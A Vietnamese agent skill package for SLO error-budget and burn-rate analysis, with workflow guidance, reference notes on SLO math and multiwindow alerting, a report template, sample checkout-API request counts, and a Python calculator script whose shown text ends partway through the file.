description: Chuyển đổi số lượng yêu cầu thành các chỉ số trả lời cho SLO: SLI, ngân sách lỗi cho khung thời gian 28 ngày hoặc 30 ngày, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao (burn rate) trong khoảng từ 5 phút đến 3 ngày, cảnh báo tốc độ tiêu hao đa khung thời gian (gọi trực khẩn cấp ở mức 14.4x và 6x, tạo ticket ở mức 3x và 1x, được quy đổi theo khung thời gian), và thời gian cho đến khi cạn kiệt ngân sách. Sử dụng khi thiết lập SLO, tinh chỉnh cảnh báo, quyết định đóng băng phát hành hoặc viết tóm tắt sự cố. Bao gồm một công cụ tính bằng Python dùng thư viện chuẩn với tùy chọn --self-test.
---

# Công Cụ Tính Ngân Sách Lỗi và Tốc Độ Tiêu Hao SLO

Bạn giúp các kỹ sư và đội ngũ trực sự cố (on-call) đánh giá độ tin cậy của hệ thống dựa trên số liệu thay vì cảm tính. Bạn chuyển đổi số lượng yêu cầu thành công/tổng số yêu cầu thành chỉ số SLI, quy đổi mục tiêu SLO thành ngân sách lỗi (error budget), chỉ ra tốc độ tiêu hao ngân sách qua nhiều khung thời gian, cho biết cảnh báo nào cần gọi trực khẩn cấp (page) hoặc mở ticket, đồng thời ước tính thời điểm ngân sách sẽ cạn kiệt nếu giữ nguyên tốc độ hiện tại. Bạn giải thích từng con số bằng ngôn ngữ dễ hiểu để các chủ sản phẩm (product owner) có thể nắm bắt và đưa ra quyết định.

## Các tệp trong kỹ năng này

- `scripts/slo_budget.py` - đọc tệp CSV chứa số lượng yêu cầu theo từng khoảng thời gian và in ra SLI, ngân sách đã tiêu thụ và còn lại, tốc độ tiêu hao, trạng thái cảnh báo, thời gian dự kiến cạn kiệt và khoảng thời gian tệ nhất; tùy chọn `--allowance` in ra thời gian ngừng hoạt động cho phép và ngưỡng cảnh báo cho bất kỳ mức SLO nào (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/slo-math.md` - công thức tính SLI, ngân sách lỗi, tốc độ tiêu hao, mức tiêu thụ dự kiến và các con số tính sẵn cho những mục tiêu phổ biến
- `references/burn-rate-alerting.md` - chính sách cảnh báo đa khung thời gian, đa tốc độ tiêu hao, cách các ngưỡng thay đổi theo khung thời gian và lời khuyên tinh chỉnh
- `templates/slo-status-report.md` - mẫu báo cáo trạng thái SLO hàng tuần hoặc tóm tắt ngân sách sau sự cố
- `examples/checkout-api-requests.csv` - dữ liệu số lượng yêu cầu theo từng khoảng 15 phút trong hai ngày của một API thanh toán, có một đợt gián đoạn nhỏ và một sự cố kéo dài 2 giờ ở cuối kỳ

## Quy trình làm việc

### 1. Xác định SLI và SLO
Hỏi rõ thế nào được coi là một sự kiện "tốt" (mã trạng thái < 500, độ trễ dưới 300 ms, tác vụ chạy thành công), dữ liệu đếm lấy từ đâu, mục tiêu là bao nhiêu (99%, 99.5%, 99.9%, 99.95%), và khung thời gian tính là gì (28 hoặc 30 ngày trượt). Hãy phản biện lại những mục tiêu mà hệ thống chưa từng đạt được trong thực tế: luôn hiển thị chỉ số SLI lịch sử trước tiên.

### 2. Thu thập dữ liệu
Xuất số lượng sự kiện tốt và tổng số sự kiện (hoặc sự kiện lỗi và tổng số sự kiện) theo từng khoảng thời gian, ví dụ các khung 1 phút, 5 phút hoặc 15 phút, dưới dạng tệp CSV với các cột `timestamp,total,good`. Cột timestamp đánh dấu thời điểm bắt đầu của mỗi khoảng thời gian. Sử dụng múi giờ UTC.

### 3. Chạy công cụ tính
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Mã thoát (exit code) bằng 1 có nghĩa là cảnh báo gọi trực khẩn cấp (page alert) đang kích hoạt hoặc ngân sách đã cạn kiệt; bằng 2 có nghĩa là dữ liệu đầu vào không hợp lệ (thiếu cột, số lỗi > tổng số, không phân tích được định dạng timestamp).

### 4. Diễn giải kết quả
- Tốc độ tiêu hao (burn rate) bằng 1.0 nghĩa là tiêu thụ vừa hết ngân sách khi kết thúc khung thời gian; mức 14.4 duy trì trong một giờ sẽ tiêu tốn 2% ngân sách của cả 30 ngày.
- Ngân sách đã tiêu thụ được phóng chiếu dựa trên lưu lượng truy cập ghi nhận được cho đến hiện tại; nếu dữ liệu chưa đủ một khung thời gian đầy đủ, hãy nêu rõ điều đó.
- Một cảnh báo chỉ kích hoạt khi cả khung thời gian dài và khung thời gian ngắn của nó đều vượt ngưỡng; khung thời gian ngắn giúp cảnh báo nhanh chóng tắt đi sau khi hệ thống phục hồi. Xem thêm trong `references/burn-rate-alerting.md`.
- Các khung thời gian ngắn hơn bước nhảy dữ liệu sẽ được làm tròn lên thành một bước nhảy; các khung thời gian dài hơn tổng thời lượng dữ liệu sẽ có trạng thái là "not evaluable" (không thể đánh giá).

### 5. Đưa ra khuyến nghị và báo cáo
Gắn kết các con số với một quyết định cụ thể: gọi trực khẩn cấp ngay, mở ticket, làm chậm các đợt phát hành tiềm ẩn rủi ro khi ngân sách còn lại thấp, hoặc nới lỏng một SLO vốn luôn bị vi phạm do đặc thù thiết kế. Điền thông tin vào `templates/slo-status-report.md`.

## Kết quả ví dụ
Đối với `examples/checkout-api-requests.csv` ở mức SLO 99.9% trong 30 ngày: SLI đạt 99.8768%, đã tiêu thụ 8.2% ngân sách, tốc độ tiêu hao trong 1h là 26.46 và trong 5m là 28.06 nên cảnh báo gọi trực nhanh được kích hoạt, tốc độ tiêu hao trong 6h là 5.83 nằm ngay dưới ngưỡng 6.0, cảnh báo ticket 3d ở trạng thái không thể đánh giá (not evaluable) vì chỉ có hai ngày dữ liệu, và với tốc độ của giờ cuối cùng thì ngân sách sẽ cạn sạch sau khoảng 1 ngày 16 giờ. Mã thoát là 1.

## Quy tắc

- Luôn nêu rõ SLO, khung thời gian, phạm vi dữ liệu và bất kỳ khoảng thời gian bị thiếu nào kèm theo mỗi kết quả.
- Không trộn lẫn nhiều định nghĩa sự kiện tốt vào chung một SLI; hãy tính các SLO riêng biệt cho độ sẵn sàng (availability) và độ trễ (latency).
- SLO là công cụ hỗ trợ ra quyết định, không phải công cụ quy trách nhiệm: hãy mô tả tác động lên người dùng, không nhằm vào cá nhân.
- Không tự bịa ra số liệu lưu lượng truy cập; nếu thiếu dữ liệu đếm, hãy yêu cầu cung cấp hoặc nêu rõ kết quả nào không thể tính toán được.
FILE:references/slo-math.md
# Toán Học Trong SLO

## Các định nghĩa
- **SLI** (service level indicator - chỉ số mức dịch vụ) = số sự kiện tốt / tổng số sự kiện, tính theo phần trăm.
- **SLO** (objective - mục tiêu mức dịch vụ) = mức SLI mục tiêu trong một khung thời gian, ví dụ: 99.9% yêu cầu thành công trong 30 ngày trượt.
- **Ngân sách lỗi (Error budget)** = 1 - SLO = tỷ lệ sự kiện được phép thất bại. Mức 99.9% -> 0.1%.
- **Ngân sách tính theo số sự kiện** = (1 - SLO) x tổng số sự kiện trong khung thời gian.
- **Tỷ lệ lỗi (Error rate)** trong một khung thời gian = số sự kiện lỗi / tổng số sự kiện trong khung thời gian đó.
- **Tốc độ tiêu hao (Burn rate)** = tỷ lệ lỗi / (1 - SLO). Mức 1.0 có nghĩa là ngân sách sẽ được sử dụng vừa hết vào thời điểm kết thúc khung thời gian.

## Mức tiêu thụ dự kiến với dữ liệu một phần
Với D giây dữ liệu thực tế và W giây của khung thời gian SLO:
- số yêu cầu dự kiến trong toàn khung = (số yêu cầu trong dữ liệu / D) x W
- số lỗi cho phép = (1 - SLO) x số yêu cầu dự kiến
- tỷ lệ đã tiêu thụ = số lỗi trong dữ liệu / số lỗi cho phép
- thời gian cho đến khi cạn kiệt theo tốc độ gần đây = (số lỗi cho phép - số lỗi tính đến hiện tại) / (số lỗi mỗi giây trong khung thời gian gần đây đó)

## Thời gian ngừng hoạt động hoàn toàn tối đa cho phép
| SLO | mỗi 30 ngày | mỗi 28 ngày | mỗi tuần | mỗi ngày |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |

Các SLO dựa trên số lượng yêu cầu không phụ thuộc trực tiếp vào thời gian đồng hồ: 10 phút bị lỗi 50% sẽ tiêu tốn lượng ngân sách tương đương với 5 phút ngừng hoạt động hoàn toàn nếu có cùng lưu lượng truy cập, và một sự cố ngừng hoạt động lúc 3 giờ sáng sẽ tốn ít ngân sách hơn so với sự cố xảy ra vào giờ cao điểm.

## Ví dụ minh họa cách tính
SLO 99.9%, khung thời gian 30 ngày, 1,000,000 yêu cầu mỗi ngày.
- Ngân sách: 0.001 x 30,000,000 = 30,000 yêu cầu thất bại.
- Tỷ lệ lỗi 2% kéo dài trong một giờ ở mức lưu lượng 41,667 yêu cầu/giờ sẽ làm tiêu hao 833 lỗi = 2.8% ngân sách, tương ứng tốc độ tiêu hao là 20.
- Ở tốc độ tiêu hao bằng 20, toàn bộ ngân sách sẽ chỉ trụ được trong 30 ngày / 20 = 36 giờ.

## Các bẫy thường gặp
- Đếm các lần thử lại (retry) như những sự kiện tốt riêng biệt sẽ che giấu các lỗi mà người dùng thực sự gặp phải.
- Lưu lượng truy cập quá thấp (ban đêm, khu vực mới mở) khiến tỷ lệ lỗi bị nhiễu mạnh; hãy áp dụng số lượng yêu cầu tối thiểu hoặc dùng khung thời gian ngắn dài hơn.
- Các phép đo giả lập (synthetic probes) đo lường chính công cụ thăm dò chứ không phải người dùng thực tế; hãy gắn nhãn tách biệt cho chúng.
- Thay đổi SLO giữa chừng khung thời gian: hãy tính toán lại toàn bộ khung thời gian theo mục tiêu mới và ghi chú rõ điều này.
FILE:references/burn-rate-alerting.md
# Cảnh Báo Theo Tốc Độ Tiêu Hao (Burn-Rate Alerting)

## Chính sách mặc định (đa khung thời gian, đa tốc độ tiêu hao)
| Mức độ nghiêm trọng | Tỷ phần ngân sách | Khung dài | Khung ngắn | Ngưỡng tiêu hao (30d) | Ngưỡng tiêu hao (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |

Ngưỡng = tỷ phần ngân sách x khung thời gian SLO / khung dài. Ví dụ: 0.02 x 720h / 1h = 14.4.

## Tại sao cần kết hợp hai khung thời gian
- **Khung thời gian dài (long window)** chứng minh sự cố đủ nghiêm trọng (đã làm tiêu tốn một lượng ngân sách đáng kể).
- **Khung thời gian ngắn (short window)** (bằng khoảng 1/12 khung dài) chứng minh sự cố vẫn đang tiếp diễn, nhờ đó cảnh báo sẽ tự động tắt chỉ sau vài phút khi hệ thống phục hồi thay vì tiếp tục báo đỏ suốt cả tiếng đồng hồ.
- Chỉ phát cảnh báo khi cả hai khung thời gian cùng vượt ngưỡng.

## Ví dụ quy tắc cảnh báo (theo cú pháp Prometheus)
```
(
  sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
  sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```

## Tinh chỉnh cảnh báo
- Các dịch vụ có lưu lượng thấp: yêu cầu số lượng yêu cầu tối thiểu trong khung ngắn, hoặc chỉ gọi trực khẩn cấp dựa trên khung 6h.
- Bị gọi trực quá nhiều lần: hãy kiểm tra xem SLO có đang đặt khắt khe hơn mức người dùng thực sự cần hay không trước khi nâng ngưỡng cảnh báo.
- Bỏ sót sự cố: các đợt tiêu hao âm ỉ dưới mức 1.0 theo thiết kế sẽ không bao giờ phát cảnh báo; hãy rà soát ngân sách hàng tuần.
- Bước nhảy dữ liệu thô hơn khung thời gian ngắn (ví dụ: dữ liệu gom theo từng khung 15 phút): khi đó khung ngắn sẽ bị quy về thành một khung dữ liệu duy nhất và việc phát hiện hệ thống phục hồi sẽ chậm hơn.

## Gợi ý chính sách quản lý ngân sách lỗi
- Đã tiêu thụ trên 50%: rà soát kỹ các thay đổi tiềm ẩn rủi ro, ưu tiên triển khai kiểu canary.
- Đã tiêu thụ trên 75%: đóng băng phát hành đối với các thay đổi không phải bản vá lỗi, ưu tiên công việc củng cố độ tin cậy lên hàng đầu.
- Cạn kiệt ngân sách: bắt buộc thực hiện họp rút kinh nghiệm sau sự cố (postmortem); đóng băng phát hành cho đến khi khung thời gian trượt phục hồi lại ngân sách.
FILE:templates/slo-status-report.md
# Trạng Thái SLO - <service> - <period or incident>

**SLI:** <what counts as good>  **SLO:** <target>% trên khung trượt <28d/30d>
**Dữ liệu:** <start> đến <end> UTC, bước nhảy <interval>, thiếu <n> khoảng thời gian
**Công cụ tính:** `slo_budget.py --slo <target> --window <window>` (mã thoát <code>)

## Ngân sách
| Chỉ số | Giá trị |
|---|---|
| SLI trong kỳ | |
| Ngân sách đã tiêu thụ | |
| Ngân sách còn lại | |
| Thời gian ngừng hoạt động hoàn toàn cho phép mỗi khung | |

## Tốc độ tiêu hao (Burn rates)
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |

## Cảnh báo
| Chính sách | Trạng thái | Mức tiêu hao dài / ngắn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |

## Chuyện gì đã xảy ra
<khoảng thời gian tệ nhất, tác động tới người dùng, nguyên nhân nếu đã rõ>

## Quyết định
- [ ] Gọi trực khẩn cấp / mở sự cố
- [ ] Chính sách phát hành: <bình thường / thận trọng / đóng băng> vì <ngân sách còn lại>
- [ ] Tinh chỉnh SLO hoặc cảnh báo: <nội dung thay đổi và lý do>

## Tóm tắt dành cho các bên liên quan
> <service> đạt mức <SLI>% so với mục tiêu <target>%. Đã sử dụng <x>% ngân sách lỗi của khung thời gian này; với tốc độ hiện tại, ngân sách sẽ duy trì được trong <time>. Bước tiếp theo: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
2026-10-18T07:00:00Z,6236,6234
2026-10-18T07:15:00Z,6619,6616
2026-10-18T07:30:00Z,7013,7009
2026-10-18T07:45:00Z,7418,7414
2026-10-18T08:00:00Z,7831,7827
2026-10-18T08:15:00Z,7850,7847
2026-10-18T08:30:00Z,8274,8271
2026-10-18T08:45:00Z,8702,8699
2026-10-18T09:00:00Z,9132,9127
2026-10-18T09:15:00Z,9561,9556
2026-10-18T09:30:00Z,9989,9984
2026-10-18T09:45:00Z,10413,10408
2026-10-18T10:00:00Z,10832,10827
2026-10-18T10:15:00Z,11245,11240
2026-10-18T10:30:00Z,11650,11645
2026-10-18T10:45:00Z,12044,12038
2026-10-18T11:00:00Z,12028,12022
2026-10-18T11:15:00Z,12398,12392
2026-10-18T11:30:00Z,12754,12748
2026-10-18T11:45:00Z,13095,13089
2026-10-18T12:00:00Z,13418,13412
2026-10-18T12:15:00Z,13724,13719
2026-10-18T12:30:00Z,14010,14003
2026-10-18T12:45:00Z,14275,14268
2026-10-18T13:00:00Z,14520,14513
2026-10-18T13:15:00Z,14742,14735
2026-10-18T13:30:00Z,14941,14934
2026-10-18T13:45:00Z,14716,14710
2026-10-18T14:00:00Z,14867,14861
2026-10-18T14:15:00Z,14993,14985
2026-10-18T14:30:00Z,15094,15086
2026-10-18T14:45:00Z,15170,15163
2026-10-18T15:00:00Z,15220,15213
2026-10-18T15:15:00Z,15244,15237
2026-10-18T15:30:00Z,15242,15236
2026-10-18T15:45:00Z,15215,15209
2026-10-18T16:00:00Z,15163,15155
2026-10-18T16:15:00Z,14686,14679
2026-10-18T16:30:00Z,14585,14578
2026-10-18T16:45:00Z,14460,14453
2026-10-18T17:00:00Z,14312,14306
2026-10-18T17:15:00Z,14141,14135
2026-10-18T17:30:00Z,13950,13866
2026-10-18T17:45:00Z,13738,13656
2026-10-18T18:00:00Z,13506,13499
2026-10-18T18:15:00Z,13257,13251
2026-10-18T18:30:00Z,12990,12984
2026-10-18T18:45:00Z,12708,12702
2026-10-18T19:00:00Z,12012,12007
2026-10-18T19:15:00Z,11702,11697
2026-10-18T19:30:00Z,11382,11376
2026-10-18T19:45:00Z,11051,11045
2026-10-18T20:00:00Z,10712,10707
2026-10-18T20:15:00Z,10367,10362
2026-10-18T20:30:00Z,10017,10013
2026-10-18T20:45:00Z,9663,9659
2026-10-18T21:00:00Z,9308,9304
2026-10-18T21:15:00Z,8952,8947
2026-10-18T21:30:00Z,8598,8594
2026-10-18T21:45:00Z,7848,7844
2026-10-18T22:00:00Z,7503,7500
2026-10-18T22:15:00Z,7164,7161
2026-10-18T22:30:00Z,6833,6830
2026-10-18T22:45:00Z,6513,6510
2026-10-18T23:00:00Z,6204,6201
2026-10-18T23:15:00Z,5907,5904
2026-10-18T23:30:00Z,5625,5622
2026-10-18T23:45:00Z,5358,5356
2026-10-19T00:00:00Z,5109,5107
2026-10-19T00:15:00Z,4877,4875
2026-10-19T00:30:00Z,4265,4263
2026-10-19T00:45:00Z,4074,4072
2026-10-19T01:00:00Z,3903,3901
2026-10-19T01:15:00Z,3755,3753
2026-10-19T01:30:00Z,3630,3628
2026-10-19T01:45:00Z,3529,3527
2026-10-19T02:00:00Z,3452,3451
2026-10-19T02:15:00Z,3400,3399
2026-10-19T02:30:00Z,3373,3371
2026-10-19T02:45:00Z,3371,3369
2026-10-19T03:00:00Z,3396,3394
2026-10-19T03:15:00Z,3045,3044
2026-10-19T03:30:00Z,3121,3120
2026-10-19T03:45:00Z,3222,3221
2026-10-19T04:00:00Z,3348,3347
2026-10-19T04:15:00Z,3499,3497
2026-10-19T04:30:00Z,3674,3672
2026-10-19T04:45:00Z,3873,3871
2026-10-19T05:00:00Z,4095,4093
2026-10-19T05:15:00Z,4340,4338
2026-10-19T05:30:00Z,4605,4603
2026-10-19T05:45:00Z,4491,4489
2026-10-19T06:00:00Z,4797,4795
2026-10-19T06:15:00Z,5120,5117
2026-10-19T06:30:00Z,5461,5458
2026-10-19T06:45:00Z,5817,5814
2026-10-19T07:00:00Z,6188,6185
2026-10-19T07:15:00Z,6571,6568
2026-10-19T07:30:00Z,6965,6962
2026-10-19T07:45:00Z,7370,7366
2026-10-19T08:00:00Z,7783,7779
2026-10-19T08:15:00Z,8202,8198
2026-10-19T08:30:00Z,8226,8222
2026-10-19T08:45:00Z,8654,8650
2026-10-19T09:00:00Z,9084,9080
2026-10-19T09:15:00Z,9513,9509
2026-10-19T09:30:00Z,9941,9936
2026-10-19T09:45:00Z,10365,10360
2026-10-19T10:00:00Z,10784,10779
2026-10-19T10:15:00Z,11197,11192
2026-10-19T10:30:00Z,11602,11597
2026-10-19T10:45:00Z,11996,11991
2026-10-19T11:00:00Z,12380,12375
2026-10-19T11:15:00Z,12350,12344
2026-10-19T11:30:00Z,12706,12700
2026-10-19T11:45:00Z,13047,13041
2026-10-19T12:00:00Z,13370,13364
2026-10-19T12:15:00Z,13676,13670
2026-10-19T12:30:00Z,13962,13956
2026-10-19T12:45:00Z,14227,14221
2026-10-19T13:00:00Z,14472,14464
2026-10-19T13:15:00Z,14694,14687
2026-10-19T13:30:00Z,14893,14886
2026-10-19T13:45:00Z,15068,15061
2026-10-19T14:00:00Z,14819,14812
2026-10-19T14:15:00Z,14945,14939
2026-10-19T14:30:00Z,15046,15040
2026-10-19T14:45:00Z,15122,15114
2026-10-19T15:00:00Z,15172,15164
2026-10-19T15:15:00Z,15196,15189
2026-10-19T15:30:00Z,15194,15187
2026-10-19T15:45:00Z,15167,15160
2026-10-19T16:00:00Z,15115,15109
2026-10-19T16:15:00Z,15038,15032
2026-10-19T16:30:00Z,14937,14929
2026-10-19T16:45:00Z,14412,14405
2026-10-19T17:00:00Z,14264,14257
2026-10-19T17:15:00Z,14093,14087
2026-10-19T17:30:00Z,13902,13896
2026-10-19T17:45:00Z,13690,13684
2026-10-19T18:00:00Z,13458,13453
2026-10-19T18:15:00Z,13209,13202
2026-10-19T18:30:00Z,12942,12936
2026-10-19T18:45:00Z,12660,12654
2026-10-19T19:00:00Z,12364,12358
2026-10-19T19:15:00Z,11654,11649
2026-10-19T19:30:00Z,11334,11329
2026-10-19T19:45:00Z,11003,10999
2026-10-19T20:00:00Z,10664,10658
2026-10-19T20:15:00Z,10319,10314
2026-10-19T20:30:00Z,9969,9964
2026-10-19T20:45:00Z,9615,9611
2026-10-19T21:00:00Z,9260,9256
2026-10-19T21:15:00Z,8904,8900
2026-10-19T21:30:00Z,8550,8547
2026-10-19T21:45:00Z,8200,8196
2026-10-19T22:00:00Z,7455,7298
2026-10-19T22:15:00Z,7116,6959
2026-10-19T22:30:00Z,6785,6629
2026-10-19T22:45:00Z,6465,6310
2026-10-19T23:00:00Z,6156,6002
2026-10-19T23:15:00Z,5859,5707
2026-10-19T23:30:00Z,5577,5426
2026-10-19T23:45:00Z,5310,5161
FILE:scripts/slo_budget.py
#!/usr/bin/env python3
"""SLO error budget and burn rate calculator (Python 3 standard library only).

Input: CSV with one row per interval, the timestamp marking the START of the interval, and request
counts. Accepted columns (case-insensitive): timestamp|time|ts, total|requests|count, and either
good|success|ok or bad|errors|failed. Timestamps: ISO 8601 (Z or offset) or Unix seconds.

Math (see references/slo-math.md):
  error budget (fraction)  = 1 - SLO                          e.g. 99.9% -> 0.001
  error rate over window   = sum(bad) / sum(total)
  burn rate                = error rate / (1 - SLO)           1.0 = spends exactly the budget over the SLO window
  budget consumed so far   = sum(bad) / ((1 - SLO) * expected requests in the SLO window)
  alert threshold          = budget share * window hours / long window hours   (14.4 = 2% of 30d in 1h)

Default multiwindow, multi-burn-rate policy (Google SRE Workbook): page 2% in 1h (short 5m),
page 5% in 6h (short 30m), ticket 10% in 1d (short 2h), ticket 10% in 3d (short 6h). An alert fires
only when BOTH the long and the short window burn faster than the threshold. Windows shorter than
the data step are rounded up to one step; windows longer than the data are reported as not evaluable.

Usage:
  python3 slo_budget.py requests.csv --slo 99.9 --window 30d
  python3 slo_budget.py requests.csv --slo 99.5 --window 28d --json
  python3 slo_budget.py --allowance --slo 99.95 --window 30d     # downtime allowed, no CSV needed
  python3 slo_budget.py --self-test
Exit code: 0 OK, 1 a page alert fires or the budget is exhausted, 2 bad input.
"""
import argparse
import csv
import datetime as dt
import json
import re
import statistics
import sys

POLICY = [
    # (severity, long window, short window, budget share)
    ("page", "1h", "5m", 0.02),
    ("page", "6h", "30m", 0.05),
    ("ticket", "1d", "2h", 0.10),
    ("ticket", "3d", "6h", 0.10),
]
ALIASES = {
    "ts": ("timestamp", "time", "ts", "date", "datetime"),
    "total": ("total", "requests", "count", "events"),
    "good": ("good", "success", "ok", "successes"),
    "bad": ("bad", "errors", "failed", "failures", "error"),
}


class SLOError(ValueError):
    pass


def parse_duration(s):
    m = re.fullmatch(r"\s*(\d+(?:\.\d+)?)\s*([smhdw])\s*", str(s).lower())
    if not m:
        raise SLOError(f"bad duration {s!r} (use e.g. 5m, 1h, 28d)")
    return float(m.group(1)) * {"s": 1, "m": 60, "h": 3600, "d": 86400, "w": 604800}[m.group(2)]


def fmt_dur(sec):
    sec = int(round(sec))
    if sec >= 86400:
        d, h = divmod(sec // 3600, 24)
        return f"{d}d {h}h" if h else f"{d}d"
    if sec >= 3600:
        h, m = divmod(sec // 60, 60)
        return f"{h}h {m}m" if m else f"{h}h"
    if sec >= 60:
        m, s = divmod(sec, 60)
        return f"{m}m {s}s" if s else f"{m}m"
    return f"{sec}s"


def parse_ts(v):
    v = v.strip()
    if re.fullmatch(r"\d+(\.\d+)?", v):
        return dt.datetime.fromtimestamp(float(v), dt.timezone.utc)
    t = dt.datetime.fromisoformat(v.replace("Z", "+00:00").replace(" ", "T"))
    if t.tzinfo is None:
        t = t.replace(tzinfo=dt.timezone.utc)
    return t.astimezone(dt.timezone.utc)


def load_rows(lines):
    rd = csv.DictReader(lines)
    if not rd.fieldnames:
        raise SLOError("empty CSV")
    cols = {}
    lower = {f.strip().lower(): f for f in rd.fieldnames}
    for key, names in ALIASES.items():
        for n in names:
            if n in lower:
                cols[key] = lower[n]
                break
    if "ts" not in cols or "total" not in cols or not ({"good", "bad"} & cols.keys()):
        raise SLOError(f"need timestamp, total and good or bad columns; got {rd.fieldnames}")
    rows = []
    for i, r in enumerate(rd, 2):
        try:
            ts = parse_ts(r[cols["ts"]])
            total = int(float(r[cols["total"]]))
            bad = int(float(r[cols["bad"]])) if "bad" in cols else total - int(float(r[cols["good"]]))
        except (ValueError, TypeError) as e:
            raise SLOError(f"line {i}: {e}")
        if total < 0 or bad < 0 or bad > total:
            raise SLOError(f"line {i}: counts must satisfy 0 <= bad <= total (total={total}, bad={bad})")
        rows.append((ts, total, bad))
    if len(rows) < 2:
        raise SLOError("need at least two rows")
    rows.sort(key=lambda r: r[0])
    return rows


def analyze(rows, slo_pct, window, now=None, policy=POLICY):
    if not 0 < slo_pct < 100:
        raise SLOError("SLO must be between 0 and 100 (exclusive), e.g. 99.9")
    budget = 1 - slo_pct / 100
    win = parse_duration(window)
    diffs = [(b[0] - a[0]).total_seconds() for a, b in zip(rows, rows[1:])]
    step = statistics.median(diffs)
    if step <= 0:
        raise SLOError("duplicate timestamps")
    first = rows[0][0]
    end = (now or rows[-1][0] + dt.timedelta(seconds=step))
    covered = (end - first).total_seconds()
    expected_rows = int(round(covered / step))
    missing = max(0, expected_rows - len(rows))

    def window_stats(seconds):
        seconds = max(seconds, step)
        if seconds > covered + 1e-6:
            return None
        start = end - dt.timedelta(seconds=seconds)
        tot = sum(t for ts, t, b in rows if start <= ts < end)
        bad = sum(b for ts, t, b in rows if start <= ts < end)
        rate = bad / tot if tot else 0.0
        return {"seconds": seconds, "total": tot, "bad": bad, "error_rate": rate, "burn_rate": rate / budget}

    total = sum(r[1] for r in rows)
    bad = sum(r[2] for r in rows)
    req_per_sec = total / covered
    expected_window_total = req_per_sec * win
    allowed_bad = budget * expected_window_total
    consumed = bad / allowed_bad if allowed_bad else 0.0
    alerts = []
    for sev, lw, sw, share in policy:
        thr = share * win / parse_duration(lw)
        L, S = window_stats(parse_duration(lw)), window_stats(parse_duration(sw))
        if L is None or S is None:
            alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr, "status": "not evaluable",
                           "long_burn": None, "short_burn": None})
            continue
        fires = L["burn_rate"] >= thr and S["burn_rate"] >= thr
        alerts.append({"severity": sev, "long": lw, "short": sw, "threshold": thr,
                       "status": "FIRING" if fires else "ok",
                       "long_burn": L["burn_rate"], "short_burn": S["burn_rate"]})
    burn = {}
    for w in ("5m", "30m", "1h", "2h", "6h", "1d", "3d"):
        s = window_stats(parse_duration(w))
        burn[w] = None if s is None else s["burn_rate"]
    remaining_bad = allowed_bad - bad
    exhaust = {}
    for w in ("1h", "6h", "1d"):
        s = window_stats(parse_duration(w))
        if s and s["bad"] > 0 and remaining_bad > 0:
            exhaust[w] = remaining_bad / (s["bad"] / s["seconds"])
        elif s:
            exhaust[w] = 0.0 if remaining_bad <= 0 else None
    worst = max(rows, key=lambda r: (r[2] / r[1] if r[1] else 0, r[0]))
    return {
        "slo_percent": slo_pct, "window": window, "window_seconds": win, "step_seconds": step,
        "data_start": first.strftime("%Y-%m-%dT%H:%M:%SZ"), "data_end": end.strftime("%Y-%m-%dT%H:%M:%SZ"),
        "rows": len(rows), "missing_intervals": missing,
        "total": total, "bad": bad, "sli_percent": 100 * (1 - bad / total) if total else 100.0,
        "allowed_bad_in_window": allowed_bad, "budget_consumed": consumed, "budget_remaining": 1 - consumed,
        "allowed_downtime_seconds": budget * win,
        "burn_rates": burn, "alerts": alerts, "exhaustion_seconds": exhaust,
        "worst_interval": {"start": worst[0].strftime("%Y-%m-%dT%H:%M:%SZ"), "total": worst[1], "bad": worst[2],
                           "error_rate": worst[2] / worst[1] if worst[1] else 0.0},
    }


def allowance_table(slo_pct, window):
    win = parse_duration(window)
    b = 1 - slo_pct / 100
    return {"slo_percent": slo_pct, "window": window, "allowed_downtime_seconds": b * win,
            "per_day_seconds": b * 86400, "per_week_seconds": b * 604800,
            "thresholds": [{"severity": s, "long": l, "short": sh, "share": sha, "burn_rate": sha * win / parse_duration(l)}
                           for s, l, sh, sha in POLICY]}


def to_markdown(r):
